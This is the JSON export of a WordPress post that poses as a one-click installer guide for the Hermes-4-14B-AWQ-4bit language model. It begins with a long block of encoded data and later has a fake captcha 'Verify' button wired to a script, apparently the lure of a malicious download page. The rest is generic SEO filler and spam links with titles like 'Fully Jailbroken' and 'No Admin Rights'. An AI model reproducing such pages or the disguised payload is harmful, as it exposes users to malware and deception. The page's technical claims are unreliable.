rsjJFiireegGImEPt2nZ0JDay+PMlNqUNYSgaFYAlCVPQLLi4rOCRVdTfzjUI+93S+GPPvtqcNPE4elqkhR1SsOL7DJuxn20rm+KOMuLqPDrglyO\/XnmrVWCQ64jzKu4lesezVD\/MXz7lIQkQXC2qB2dh2zVKtp6lfeBkn0DNBOr0yddoINalygYeiARX13lQ3y9evQzvXghme7mkhFYdJOzYGjGVLtCmeNNzilibCPGAYukFqb1+e75jEX6\/XdA5E5HTn2N71k17XstT76r+0Tq1MJRrG8Fmkp7W0PdfA29d8PTOooJ9YXKLA265uV\/szEEzJhH+xsw\/3X1FUn+nfragg9eyFVE2vUoZbRQXEZClfSuAItN9Nup6DZrFW58apTonfJ\/eEX8C4Qj95HyN9qEiBfXLERmJWKhKyYFfEmjLPv1MGJhVljOCv80IN8Jx9Ldz4P3q+Cvwx5X6R7sZp3A7rhXvHacADNe\/2hy5fd6\/cnV7f9jGG2AfB7ou275qTZa6XIBTBVjlFD+\/W3IzjcCO+4C8N6me8DuwjBp26EO7FrmSonbdXPa5YU1+MQcOlFe2v1uppA0DEhcgSrKvItqpXTcTfoFJFCUHzPD5QJvScveNYNrns7yY55DlOzhJzR4whmi7uFxkHWYbpRvYhFI9l7wEDcmkTjlncIwJOKgQ3LCMOG69Lle6tzbpPbFeb4+IYwjlD\/lvOW5bQS96XB\/Icb8wsZ9RBqAGI0qZNnQPqoPTV7\/HbQGqXzv4ijXqja8Rv\/6sxMMYuotDwxbPJesRMFXUe5SaxoQ5klH1e1btYQm2gml5LIUPf7MkJFF9heLOOXu2iSOREzefaT5kszl2vJn\/hIVCaGEwBMAIec5475q7G9e9Z70YWuhk6K2v0UT7OVuQZ\/hTXIfGtYRqwQ5M9v\/7PdSbFAeySmFimXvtu+wQ8k4aaqyL7EMxX7Zs6\/vRK+3aEM\/Boz72WTu9H6vQt4IycGvwtWoi9RnAClSRCjVmJHJh69Zi1\/aUWr7w4j2epBx7nt2BP6P8uGjHvPNbtydNdoc7Dwo9B\/nNNwDSoIV+AiY4phbTC1NI\/zB77IBu\/oAMq0xGjSHeGxAqQYgE7M3tTxxKi64J4HguK6azqV0u5n+l4fJSNOmUp6UgQ4w5nO7JTj7mfPe6Kc6YN9HNjALoyTc5RUqA11Fq5REouPrsj0+wp76zF5KjEImYiejuM+qwzdWm4Mzjw90LnQjvLjf5TxUbWerz+AARUjUozItq2UQTu68ebbHiouJyS37pjku7fsttTteMaGlrRot2HKERbN3vI2AuMJA2GYD\/tk2i5SbY24x4RVKVS0w1ilSdZg9C\/aICByeY8Gvol6JxFRF3Iv3LobNIfS5pNP1FVOljNfFxyslRNWCs4pySFm1M+H8R9YcSFoqapGHIzo4t4DRBFF2hASUmk8tz\/8+Cii8w2PcH7INJaSs9dcRnx4ntkbmATTHo4V\/xan5N+kkKojkq7CRl8xbe5Rhz\/QdenYl4VyGSowfFGbCq+8IyKJtXHDiXeiXbaKkgusvbnSVqW6m1YhwfTcG59vJxZfnkfaDy7mkoqnfSy70FKjKrLcqAY5r9i\/K2OQ5tGq4h1SfLaREMEc6ALucZF6BFF6VCEsQ8Qpc2dFhLOhocMEcsyc6n12\/SisK0flT1oWiuXsZBZjUtM5F28hG9Bi0pGgepsz6RP+vq\/ZZh4B975rpL5LCpiXaXN8zVUowoYTP\/RzPytsScjLlRz6ZfTKLLcoyVK0h28pVyHYm6NAtuGu6jbIhfeUp8MfpwQW9PEd8a0yrsTVwn0NJ2nx5kNEYevoJnBpm96ek+iA+5m8EeU6Jy7GXBBea2Lj6XGljDXTP1YI5OxY41XSgYgNoe1KKx7PnExxbkCiwOP4t\/\/TokBAZxFq0jaXI9Pa7yuQgqHLPZb95RUtxI09rtA9EOw8mRhNu7PTv39DggSLUrhApTVRBfoRLyIwN6WlE9GxmSoI0HbrdUFaVLZSauhC2wwvE3VJYXa1aFYijJMigvS8j+hg6SMKp0Ma47SvWh6aRY1qnphovBtreeg3OsTtztKfz2W25ducUlA5ye7lX5\/xRkY8NxKFMCEJYu7N98kf3Pl705b7luvGvOZvapP5W1MFIi\/X7B79P2\/7kDvvaUTbD8PX6nVm97zyzNYT\/awy41BES4Mx5i9vk6Rr67zjYCvQrbHKF8wb\/sRrYTy+j6gwBi65gT6wBF\/2mD2sn5xW25ktp9TpFJPAxfsq3ErxgwRt85t5DGKROnGQ\/rR9IywIxx1U7ddCkGZ37O4zgVaB5nZChWXNWETpuwB\/XiNZTWExiFTw3Rlpr9jTL5qEEz\/LVbK5s49rylDQgJFe+NjxqbkUWD7mzqGYTffohmyty+hGFbhk0JuVy40Ub7QhuJAST265g4kcVO0WlJhI23vwq1fDTSEy9MH4e3VW6JIC2F0frf0OnOt7pge\/YfNczmdlcfLgSMvZckO6Sq4rU9IjHq4wjMmAnHKnOxDZj8EK6aaBLa11wARv9nKf+AVopy5vLdyGq87hjYTRsIAOWIhtZyhyaoN7R2BXwHdPwz44HF4yU2gTzXZeIqUz+whZR8NPpHjH1frFvPHW3TH4bZytud+YJfR9CBb7X3YF9O6iBVa\/Zs5KXIUoepX+L2NW\/m+CgxSq69LqG8X2XmCzXpySLIbmMhpsbX3wAAe9Ax1Kg+XWTUZPbOt2SRiRVb9ouqDdUgF91beTkrEN2B0X08t7gVFY3a\/o3kRuo9\/vd99QQNHTwyganvtTssPfsMaZbEngiZhjJeLv2gt65\/+J4nSoJKQd23M1Ix7eawB\/9q0Y3u+bqxSk7DBvmnlZ2bhr+wIxuSAztu5uLLscKNA2gTHqKnWRzzz4QWuzi2z+whRK74auxGppBU0f3oHtAkwN925AiDNeY8UljcvUt5nBv7f93PwiCKLxQPK00tSnRoAWj7VxD9gbrx7SuMTqR006p0XSb\/R6PR8me0hXDa1ejI7W8i5N36hD1aOKq5zu7XnCJtkmo5TkJDFMbWEyjjijz3Ueb6xeUJWIsuxdiFWw4LT77480jpM9pmMWrkOZzEbmE4rqedCOyPj\/\/7Jqyvn0zBaHfXtmnsa\/mQHy\/WFsqBDVxl7RuOQNv9EwVESRqZshjPKrXbgf7mcVkuDDxOT4hkHle8qmLn8KThtWXb2KnXTIh3LqMPB5h1yhvBtYF10cj2Wk1j3h4HiOtYw8\/gHB29YdYB8ymd7Nm3MTPYRqvWqHsrOIS7QbAFNEkT5v5cI7\/X79CAqN4AzwBdoyExF22JlHunmKFKiSEU\/VsuQ+eHT+GOrVK16d6jUjMO3pLa1sGBscQP+z4+M\/5uow95KqSTQ6BWAjPeVgvH9fSDB16W9oarUjE6iaPqbOVyRKrJGRU9WBDDppKw4QBNBsdAHjvLaoOy55DXPMmYYAQ6G5N+FLQ3oEiyQ4imkDbCdq6VkFhqAO8poL+NSHbacxfpvvzNa1IdtBYiVmIiF5F3sj7daJpqgIaUs4JEAIEjLi3OE2TKjmj+T+DcE2bNuxME4TdTpxJTJ+ajzLXpOCoPuJBieiJOo5gxDVll9rtkxxmK3fngTPgiDNjSVYfKYg1+NY6pVrfvd3C1BORrq+qbUFpxM1XdQBuTsMzPEAIwwgFLg36dJY\/c0KHOpBjIiw9w6gzE66pvT8dnTRzEQwaGFBfM\/ywZN4ayO3sonKEhD5NbwqZgFBZJku1kx\/CQwilLv6WprWC9YzGVq6Bhf1GW8HV9TVceQpg4u2Ow78sLn8P\/9Hb3OuGi6CRYJzyFh9wHUKlZYm8FRIS1lv9P7dqLRpUpDCMHfwjCOIAIa6M6cjRy70GBB6LbHxnsmuQ6lflV24I+M4SnOli4kjYitw6QXVmnKaw\/Qabe8D\/4QeKjgmOjBQ1SZXoKY3EYS4unet90pbZr6zCsP4mt3SRCqgOg7ewnz4cQxqwhvGaFWocnMY1kXYFZ9rWxgiTdRnqUELuuNq\/PL1X8apk7pEbqVjcdCShps\/sMpbvLMKoDPzSVAVI4Vt2E4WWTfbAKyqowgjv77J7sPzaLcETvOXi5Z0Uz7awbWzYqN4s4Xmw+hjBmy0EXXTZjkw5IK80P4\/HTFDLIAupwEZscd18PXofFmmW+KSUGqUAWB61d9fv2HJI8lMqbzxb6KLvHDVyJhC0\/IrLGYZWx3GJxVvJ51x2FhMJftkp5AjsTvvIjJd\/u\/G1c\/bezxMUdkDUa8C6vUc1E3LKiic4JNnyWxpidfHM50UtQy31SrMVeHwXpZLZ8NJjIcC8FPcBMrACcPV+Y2KXFmIugoG++kSr243VLfQEZVfOmwQm3b8Ngz86uB9AV4PI1cuN6yyX8XVvoFJksrbUsrmhfG+zhWefLfhgkv+zGx77ciaxRjePLXCqjJqP7Wm7B0bRUm1oSgipKFyEz5df5JggOGQVgUNAeSJkVO3s4afZhTcDaRgFGxdyGLXXT3zhB\/pApjimnMnrsrLfiRmUuenFZs9O4MLaPQgg9sRSG3q6HJ+cCRYUxtzq\/1KhUulXIXFsYEEYUlEeWWsKZx0AcgKMeqyto3DBbIrzAqRft2qMWbt9crE5tJMgSgR9FnuSzQN+wyVAyXph6tzTFJi4cwyJAbpGZcPDz9tlESmo2UnyNzj2Mov209R+eeUWJkTh4OrFtTXP4keIBqK9JewTvVh91m98XqFcug93ErGKAYJaw+2YUaTe6mr7ockf2GIsXVsYDb2axckCUFwxJfo1HlrKe0EIgFHsiV4bZjA3sRhRkPvrmjoPJk2umNh\/W+y33TED3Gg3Waq0Bv7qQocpWmyIMsUDrzIh99QjLIHM7suXE2cpotR7J4dHRahH39KaekqtE2s9BokLneB72OqhVcwRXa2IbulmhYGAO\/6UAau4YJ1hcMZSUaNFPR\/xtw8VfUM+p\/FIxYGUFfRvrlBIGTHSr06DGChAzZY3N4yM4Jl\/Wdxvr0s+RSe+wYeE9AsLCNdamOLA2TSKH7IvVd+yuoln1ggAhfHfI8osAZvfsR3Cm0a7NEBOrUDQeGZGI6K9DYcLPpIicrvtgbE5+P1cEoP+MDNAZQNww+B67mTiMy6dorvCaoTehHOgiQ9qBRpd6IB+ny0o2MobBa+oKq\/51lqGn6IgwQeKZkPDuFyR8XK0Q7aZXTr6Yg43973wOnrcHIPfvYNtbE+Y7qTIPVY39m\/J9DLvA1yjLBc+2W\/1sj4Fk8IgRCQWe9blk1bcjf+Oq6IKwMuyY4HVZLvweJFkGXY+Pm1OKK8Ls7hEfmb5w6VaK1XIVPjwmoIvmC2AJsiH75mdpQfdkTBsC5X1lMkjgFRANyZCaR2UatQ286yBN8F46sh5kKfh4Q7e6Ugd1oE7f+vmK+CPnFXZb1w2ijxnfeVl\/blFHvroiBj4HMIwFh3ay7POyU10LGX5wbCOjYfG8y30M2C2BYhrUH+6JbXFuDk1XGGXwgc4pe\/Piu84laWy\/k9Om6GSpbAp90zWHluCXtALOhPT3t1eOdKmbNLW8sGRgk85pyRdi2Y0RXmUaAfvRvSuKmi2kCZii+dqqrS\/PKGEZ4pLUWJtfFwOnxbYtT74HRrIJ9dwwO7kc7ndVwh+9IS1UVKh5iYuym4MZbA7g\/1hqRCZ5QsJRlMfQJsfBLmieqUhvICBU+o5ik7T07jkDyQhJsmtkaXuDN9LrNMQp0+ioBBNzI60ZeMoNl\/AZbXqs6dCfEjoRAIXVpmzcy9tUxbeJpQoGhZ1PAdbPV\/BIjkvJXAffmWWWJp0HwQVs8O5lYQYxhBrcBJdH3nbqc4VmceUME4vlSTbXCJhq2qemNhRBJ\/9iaB1DhORGPYaZkImsQzUoCFhLLwG3XNUFp9paFUZMO9o\/f57JRExnDACcE3mNJntY4i8\/fHUADBMpIp45OYVWCiAQiXl4znRo3hWrVwMFb3HkAkClaDj9uWrPgiB6u3cbcXd684WBukAmqbu5kyFoWm4Q1+kVd7oU\/lAyPIfW116ESLkmlZRKCfo3E10HBFnQL9gFGA\/ydvWbdKYjEXs6w0KMVUgyZNABDA4fCxuvCx\/7v3KjXEIKTHeDmYczxRIgDP+IuB\/lyMZiyTJnXIxCV3B7bu5iSGnlu1d9gvVDrro9KaWfuLNnDoHzhQ8vyARrcMuzqehNt6q3vjmOeOJzDERG9Lim+MSmblpi2aruttPlDkoiPggh2wzxCJTOpJ79Hx2EV9nZasC9Htm3ULg0+EzCGPgGxIuclQX\/ycJ0T1ejEKVnC9w7gLNXlswB6ShYfmk5nFEnpd\/SbAH6B23clkJtIYectOaPMyIrVERwJRPQaCrQbWHCIWDupReCrzx9LBbnQWdWn\/+ZEtzVIto2nBCd4XaWdw6WiU9v3GU\/8JXasGDtS6nIdochxy0GCzmAUAspvbmQg6awaw2qy\/20ITdsVuplOpoKBDhPUBTD13MH\/P7so4XxFRet3xGrIAD73gQl32ZD9xa\/vmkqSeM8jxkrAPTsLDCP3lT+MU9uMlDObmoBaLWzy6Zl7SOKaOTcy0fRORmCPIu8dHb6Euch82x\/3hYkTGbO7+MjX7rOnGfa\/3OPE768s3TEWwWScxhmw8zquvlAnZhZ27Tts4LWU56AkgVWCGNCEiMAUvWjMV60FcwVLXZI02XRq8vn9+9MbqHE8fOMo3UhuzinaRLSLehTuEVxjnd4ZUpl1vOaWb+bgQ35v21UuIG973S7Jhn+nqiemaoXep7itRBDhsIB91TS\/rBe+BB6+ybDsK43hOBO1bbNbNGkTcNerfzkSvPpB65mHbn4db5JAV2fXCjC\/U8abN\/ZdjX9VOvKnuKoXlFZPhfG2o0YSR3fXj+UecW2AoEw8+WVvCnZURLX8Lwe8otLLvK0J0pjSMScAaapvxsazTNTeBc7tal\/GAbFXeHwQFo2fjGI3B8eOMBlUs2qSKiLEQRH20ZdV1K2x42BoUYMhiM3jRHVUKzVI9+US\/Bq58bmsH7kihQIJesOOsRQ0a0bXJvisX7Re3KMwyRsw23spw2NbB+vp\/87wZ+dHjtB30LnOvx4AYArfQiRZ3ZyC\/TD5IsiO\/5Eea\/UYaHpehqOVlxZr8oNph\/QT9vas7QuvEf8dtA+7vmEgNyCgtJ3vBI0CXVxZt3qynnZBDManzhNcMSydlX9VjIHASqKZED2BsbUnk1Hq2rAVMxIE7bWHPK92U8OF+zkhB9CBGnk\/tayW39Sdw9pWDEji8NjnU08y0VpGm2Or\/Fyidz8ahOv5+UxwAx7tZGwpoAfPtkmCkZtA9mdPqgqC3zaNrUY+1lUOhUwpKUEm8sqGVgY9n0oFUksowoQy9+GYigEyW04mnwN6dr+bC+3jjo1zdgCp5kuI3HD4SWjUd1cHVDlB6WoFtgS7aJmFXl1WVk\/8\/MQhyEUlCOeLmGWtyPodM01dWV1L8+g9W6Ho4w+gxRkuQKshqLskvtcSugs5kL8TVALHY0Iktnhb3VdF4R5qqo\/vIN7Uxr03cxC6GjRc8a+tNduwZbdzKKM66S7STdU3DkpXV7gF45YUzrx\/Xj4SAVhXPbl4WxjdzBR7rUoeVJeD8THqsYd7jPmie84PcaR1chn5+bEmNHc9hmwNeG\/3Eb3XqlfD\/X5HNRbLpFum74LeP2htWWSSlGdiZ6T6EiApHsfgVxa\/2VbTGjiv4BrhOKhQTN6aIn\/+Xmz4ieYdyd3uBpMzE2XSKEFdm2WFiJNFyfvhfvDxk7s30Ixxww\/t7l55p5q9Y07NskHeZxMwEu5t3aSABfL\/6ylE2EoYsJZ6BPg5yWjGm\/pEWlG0U47Chh5el\/+hha2gisUi\/tvZ25w6ldUJ6H99bqzB0SlQBuR46ToEmWAx7yhHDj5I3ycyQiRxLp1JxndcOmiIzDZXVMpRO70DqqrwseyP8G+VrnI2Wc3s5jI1aFPm84fEMEDJefuhCjFBPFIbNMZEKIf+lizEeAHsWjbKPuC++C5uEvUuNtroAYda11Zu9\/BGCnoGwhpfcrvEbPmvCxleYJXEmLslVTf307JfLsAUIyKENDH8kAIHCh+ym4ak\/olWTmVOolcGsoIuXqqWHZjgMlG2Cp+G6zBhOj4gzPx392jkTvuNju7OGwCgjyitVncWXi+RLlxJtpMhJMl422Vff0kK7g6Vt5TMcEk4g+VAdZuBKOxIio1r7IDIHH+5OAMeVQSRLmqqNTm1Vld6ATOtKgmpdN4TeoqEX9nSClRfljAlELrtmA9s0DNsTjvNsESKj8OMB35z9xzRUjZUCPNwin9oy4XG3WtHcRdcoAbAePShUoNgC7wRAiRbA4IOx31cJf0lxf70p4yk89z6q4Dh9mB2WpHuGBnm0ZmuOlx7YayMBTLebFy9c2EA6AXAKEjwj7qTMrh3VqYTuzXJYauxqC2UrRB4C1QC4vTedt+TzwH9Oer5664VtLpTbeJ\/uki6+0RTjuQiSXI\/Dgxi\/XDf0g7ON+sZvApiZ0QFq+rqVP0Gqh9EvHCc4rS8Qo5umbk\/CFHUftWsOrMGS\/0W+Jm5KaO\/BqtWHlxmcl+VgQWzNBvjPLieBtSklmTqV5wPA+6u5\/ds\/9WFo\/9zJyzWqPKoQ3W8rYa0IZTycJn3pP5an4kUS3\/rU01Hw\/mnHUxQ6VnFmjmM1dMa7B2LLJ9QtpGHtdCc5gvH3bOyA8mrpKMXTqjzJDz9Q3ragVvUTJAVTLl3SLpiBfy1pmZQS5+\/yVkUli5UiMh9NjkbIEOWnUJNWe3Hxk9UscGzgx7fA38Isp2e5+sSH7Yvj8Qvv7mxSG+uhDemjynK3wOnyXTmnDrYtHv+JK4qs1WKBmlBRWPagf\/5RG0PLOfiH6AH7RYZvjODbA2DY85E1QD7EAt5hCUwoD5aq635IxrLdoe48+pgE+pZQDKmrGzIuvmx85cbSwXSMUJSfdxKlRMDXYjbqJzgXRAxieV9u4oExmRNNfZU4EPVNCfy+FPbvFRAtk4+k85RHO8p+1f+TQf0kTalAUEN8IUTfrwQIazT156OZSqGmOwWGZ6nxevjx1ZcpVX3Ynt5MvqiFwEUhxjUoE2u2nalhRFd2JTJSqcD9cFRSWH637dNf20RLP34NTG3ERFKJKx5cVxFfn9C1UEgCNoQa8IlrJUpQgdifiPFBzRFT3+B5wGdN2AZ\/ptV10YxpgxBKm3B3Pc3FY7lQQJL5Br63jxGaExUgyZ4K+pkVtbIpVjnIZmlPUf3RqYDiIqtKda486+GedddEC11+8psSHhzeEm5UJz9IbEFxNcJCqlPGjw9ZRdWXObssL5O6UaF6dawLU3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alt=\"How to Install Hermes-4-14B-AWQ-4bit Locally via LM Studio One-Click Setup Complete Walkthrough\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>Deploying locally takes the <i>least amount of time<\/i> when executed through <b>native OS tools<\/b>.<\/p>\n<p>Follow the sequence of <b>steps<\/b> detailed below.<\/p>\n<p> <\/p>\n<p><i>The framework seamlessly downloads the massive neural network binaries.<\/i><\/p>\n<p> <\/p>\n<p>The setup file includes a feature that <b>instantly optimizes all configurations<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;\">\n<tr>\n<td style=\"padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;\">\n<div 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:23px;padding-left:20px;margin-left:0;\">\n<li><strong>Processor:<\/strong> Intel i7 \/ Ryzen 7 <strong>for heavy Quantized models<\/strong><\/li>\n<li><b>RAM:<\/b> enough space for <b>background apps<\/b> and OS overhead<\/li>\n<li><b>Disk Space:<\/b> required: fast <b>PCIe 4.0<\/b> drive for instant boots<\/li>\n<li><b>Graphics:<\/b> 12 GB <b>VRAM minimum<\/b> required for basic quantization<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h2>Unlocking the Power of Large Language Models<\/h2>\n<p>The latest advancements in natural language processing have given rise to large language models like Hermes-4-14B-AWQ-4bit, which has captivated the imagination of researchers and developers alike. With its impressive 14 billion parameters and optimized for both research and commercial deployment, this model is poised to revolutionize the way we interact with technology. By leveraging the latest transformer architecture and incorporating innovative techniques like AWQ (Activation-aware Weight Quantization), Hermes-4-14B-AWQ-4bit has achieved a compact 4-bit representation that not only reduces memory footprint but also boosts performance.<\/p>\n<h2>Key Specifications at a Glance<\/h2>\n<p>\u2022 <\/p>\n<ul>\n<li>Parameter Count:** 14 billion parameters  <\/li>\n<li>Quantization:** 4-bit AWQ  <\/li>\n<li>Inference Speed:** Faster on consumer-grade hardware  <\/li>\n<li>Accuracy:** Maintains high accuracy on benchmarks  <\/li>\n<\/ul>\n<h2>Adapting the Model for Specialized Tasks<\/h2>\n<p>A dedicated fine-tuning pipeline allows developers to adapt Hermes-4-14B-AWQ-4bit for specialized tasks such as code generation, dialogue, and summarization. This flexibility is made possible by the model&#8217;s ability to learn from diverse datasets and fine-tune its parameters to suit specific use cases.<\/p>\n<h2>Core Features in Detail<\/h2>\n<table>\n<tr>\n<td><b>Feature<\/b><\/td>\n<td><b>Description<\/b><\/td>\n<\/tr>\n<tr>\n<td>AWQ (Activation-aware Weight Quantization)<\/td>\n<td>A compact representation that reduces memory footprint without sacrificing performance.<\/td>\n<\/tr>\n<tr>\n<td>Inference Speed<\/td>\n<td>Faster inference speed on consumer-grade hardware.<\/td>\n<\/tr>\n<\/table>\n<h2>What to Expect from Hermes-4-14B-AWQ-4bit<\/h2>\n<p>With its impressive specifications and innovative features, Hermes-4-14B-AWQ-4bit is poised to revolutionize the world of natural language processing. Its ability to learn from diverse datasets and fine-tune its parameters makes it an attractive option for developers looking to create customized models for specialized tasks.<\/p>\n<h2>A New Era in Natural Language Processing<\/h2>\n<p>The introduction of Hermes-4-14B-AWQ-4bit marks a significant milestone in the evolution of large language models. Its compact representation, faster inference speed, and high accuracy make it an ideal choice for a wide range of applications, from conversational AI to content generation. As researchers and developers continue to push the boundaries of what is possible with this technology, we can expect even more exciting innovations in the future.<\/p>\n<h2>Conclusion<\/h2>\n<p>In conclusion, Hermes-4-14B-AWQ-4bit is a game-changing large language model that promises to revolutionize the world of natural language processing. With its innovative features, impressive specifications, and dedicated fine-tuning pipeline, this model is poised to unlock new possibilities for developers and researchers alike.<\/p>\n<ul>\n<li>Installer deploying local internet-free web scraping tools with built-in vision parsing engine blocks<\/li>\n<li>How to Setup Hermes-4-14B-AWQ-4bit No Admin Rights FREE<\/li>\n<li>Downloader pulling specialized biomedical classification models for offline evaluation structures<\/li>\n<li>Launch Hermes-4-14B-AWQ-4bit Locally via LM Studio Full Speed NPU Mode FREE<\/li>\n<li>Script downloading custom tokenizers tailored for specialized domain models<\/li>\n<li>Hermes-4-14B-AWQ-4bit Windows 10 Fully Jailbroken 5-Minute Setup<\/li>\n<li>Installer deploying local bark audio generation pipelines with custom speaker tokens arrays<\/li>\n<li>Hermes-4-14B-AWQ-4bit Quantized GGUF For Beginners FREE<\/li>\n<li>Downloader for pre-trained RVC v2 clean vocals model bundles for local audio suites<\/li>\n<li>Full Deployment Hermes-4-14B-AWQ-4bit Windows 11 No-Internet Version No-Code Guide FREE<\/li>\n<li>Setup tool configuring local scratchpad memory for long contexts<\/li>\n<li>How to Deploy Hermes-4-14B-AWQ-4bit No Python Required For Beginners FREE<\/li>\n<\/ul>\n<p><a href='https:\/\/science-company.com\/category\/tools\/'>https:\/\/science-company.com\/category\/tools\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Deploying locally takes the least amount of time when executed through native OS tools. Follow the sequence of steps detailed below. The framework seamlessly downloads the massive neural network binaries. The setup file includes a feature that instantly optimizes all configurations. \ud83d\udcd8 Build Hash: 8611c9a575141d5fe7348bb9c4f3da24 \u2022 \ud83d\uddd3 2026-07-08 Verify Processor: Intel i7 \/ Ryzen 7 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[138],"tags":[],"class_list":["post-1852","post","type-post","status-publish","format-standard","hentry","category-safetensors"],"_links":{"self":[{"href":"https:\/\/rdtgroupe.com\/index.php?rest_route=\/wp\/v2\/posts\/1852","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rdtgroupe.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rdtgroupe.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rdtgroupe.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/rdtgroupe.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1852"}],"version-history":[{"count":1,"href":"https:\/\/rdtgroupe.com\/index.php?rest_route=\/wp\/v2\/posts\/1852\/revisions"}],"predecessor-version":[{"id":1853,"href":"https:\/\/rdtgroupe.com\/index.php?rest_route=\/wp\/v2\/posts\/1852\/revisions\/1853"}],"wp:attachment":[{"href":"https:\/\/rdtgroupe.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1852"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rdtgroupe.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1852"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rdtgroupe.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1852"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}